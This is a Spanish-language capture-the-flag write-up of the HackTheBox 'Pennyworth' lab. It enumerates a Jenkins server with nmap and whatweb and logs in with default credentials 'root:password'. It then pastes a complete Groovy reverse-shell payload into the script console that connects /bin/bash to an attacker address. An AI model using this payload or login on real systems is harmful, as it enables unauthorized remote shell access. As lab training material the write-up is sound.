PennyWorth

under

Comenzamos encendiendo la máquina y obtenemos la dirección IP 10.129.245.27, le enviaremos un paquete con ping para saber si la máquina está encendida.

❯ ping -c 5 10.129.245.27
PING 10.129.245.27 (10.129.245.27) 56(84) bytes of data.
64 bytes from 10.129.245.27: icmp_seq=1 ttl=63 time=1204 ms
64 bytes from 10.129.245.27: icmp_seq=2 ttl=63 time=286 ms
64 bytes from 10.129.245.27: icmp_seq=3 ttl=63 time=120 ms
64 bytes from 10.129.245.27: icmp_seq=4 ttl=63 time=120 ms
64 bytes from 10.129.245.27: icmp_seq=5 ttl=63 time=1865 ms
--- 10.129.245.27 ping statistics ---
5 packets transmitted, 5 received, 0% packet loss, time 4040ms
rtt min/avg/max/mdev = 120.039/719.062/1864.712/700.349 ms, pipe 2

Vemos un TTL de 63, así que estamos frente a una máquina Linux.

Enumeración

Comenzamos haciendo un escaneo rápido y sigiloso usando nmap para enumerar todo el rango de puertos en busca de servicios expuestos:

nmap -p --open -sS --min-rate 5000 -vvv -n -Pn 10.129.245.27 -oG allPorts
under

Vemos un único puerto abierto 8080 que lo normal es que sea un servicio web. Para saber un poco más de información lanzamos un escaneo exhaustivo para identificar la versión y servicio con nmap para este puerto usando una serie de scripts básicos de reconocimiento:

nmap -sCV -p8080 10.129.245.27 -oN targeted
under

No hay mucha información, pero siempre viene bien probar con la herramienta whatweb

whatweb 10.129.245.27:8080
under

Explotación

Whatweb nos revela información más interesante como Jenkins 2.289.1 , Jetty 9.4.39.v20210325 y una ruta ‘login?from=2F’. Así que probamos acceder a la web:

under

Por defecto nos va a decir error ya que debemos proporcionar el puerto 8080 en la URL.

under

Aun proporcionando el puerto donde esta el servicio web tenemos problemas, entonces pondremos la URL encontrada por whatweb.

under

Nos encontramos con un panel de Login, y al saber ya la version y servicio ejecutados en la máquina encontramos que tiene unas cuantas vulnerabilidades.

under

Dentro de estas se encuentra que las credenciales del panel de Login es ‘root:password’.

under

Una vez logueados encontramos Groovy Script y que podemos escribir nuestros propios códigos.

under

En el siguiente enlace podemos encontrar algunos payloads:

Groovy Payload

String host="10.10.16.84";
int port=443;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new
Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed())
{while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());whi
le(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try
{p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
under

Podemos ver que los payloads son ejecutados por el Administrator y los ejecuta el Servidor. Probamos a cargar nuestro payload:

under

Y nos ponemos en escucha con nc y recibimos una shell:

under

Buscamos la flag y habremos completado la máquina.

under
under

Esta publicación ha sido creada como soporte en mi formación académica y crecimiento profesional.

© Juan David Garcia Acevedo (aka liandd)